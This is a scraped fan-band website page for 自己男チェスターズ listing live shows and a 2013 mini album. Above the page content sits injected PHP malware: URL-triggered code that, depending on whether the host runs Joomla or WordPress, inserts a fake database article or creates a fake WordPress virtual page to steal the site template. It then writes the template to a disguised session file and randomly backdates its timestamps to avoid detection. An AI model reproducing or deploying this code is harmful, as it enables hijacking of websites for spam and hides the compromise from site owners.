if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } 自己男チェスターズ

最新ニュース

[2015.03.11]

03.29(sun)渋谷 CRAWL "SHIBUYA SPECIAL MEETING"
        04.10(fri)原宿ASTRO HALL
        04.26(sun) JMC's presents GIGs at 下北沢ReG
        自己男チェスターズLIVEツアー -Let's get started ready steady go ! tour-→詳細はコチラ

[2015.02.07]

02.11(wed)自己男チェスターズ presents GIGS at 下北沢ReG
        -Welcome to paradise- →詳細はコチラ

[2014.08.01]

08.15(fri)
        "レコ発前哨戦GIGs" 『Tumbling Dice vol.5』

        08.30(sat)
        "レコ発 GIGs" 8.30 JMC'S presents GIGS at SHIMOKITAZAWA ReG
        ~starting over~ →詳細はコチラ

[2014.07.19]

07.19(sat)
        JMC’S LIVE at SHIMOKITAZAWA ReG ~7.19 birthday roll~ →詳細はコチラ

[2013.10.23]

10.28(mon)
        AKASAKA HALLOWEEN WEEK 2013
       『スウィート・アクト・ハロウィン』→詳細はコチラ

[2013.06.20]

07.07(sun)
       1st mini album『IMPERIAL GARDEN』発売決定!! ¥2,000-(税込)

       07.23(tue)
       音霊 2013@逗子海岸 出演決定!!→詳細はコチラ
       自己男××ビキニ
       夏を手に入れようぜ!!!!

[2013.05.07]

05.31(fri)
       ASTRO HALL 13th Anniversary 『NEW SIGHTS』 →詳細はコチラ
       07.07(sun)
       自己男チェスターズ1stminialbum発売記念『BIRTHDAY』→詳細はコチラ

[2013.03.13]

04.07(sun)
       自己男チェスターズ GIGS at K4 →詳細はコチラ

[2012.09.11]

10.19(Fri) Rico presents
       『Millionaire Night vol.1』→詳細はコチラ

[2012.07.24]

9.1(sat)MASH UP ! vol.3 at HARAJYUKU ASTRO HALL
       出演:自己男チェスターズ 他
       13:30〜 / 18:00〜

[2012.07.02]

7.15(日) 自己男presents
       『これで、ナツキマリ~みんな集まれサマーイベント2012!
        ついでに吉田友一&恭二(kyo-jack)30th anniversary』→詳細はコチラ

[2012.05.07]

6.17(日)
       自己男チェスターズ GIGS at CHELSEA HOTEL(渋谷チェルシーホテル)
       "サティスファクション” →詳細はコチラ

[2012.04.08]

6.17(日) 自己男チェスターズ PRESENTS GIG 決定!!
       PLACE : CHELSEA HOTEL(渋谷チェルシーホテル)

[2012.04.08]

自己男チェスターズ Official WebSite オープン!

We are 自己男チェスターズ

"俺たちのための、俺たちによる、俺たちの輝ける場所"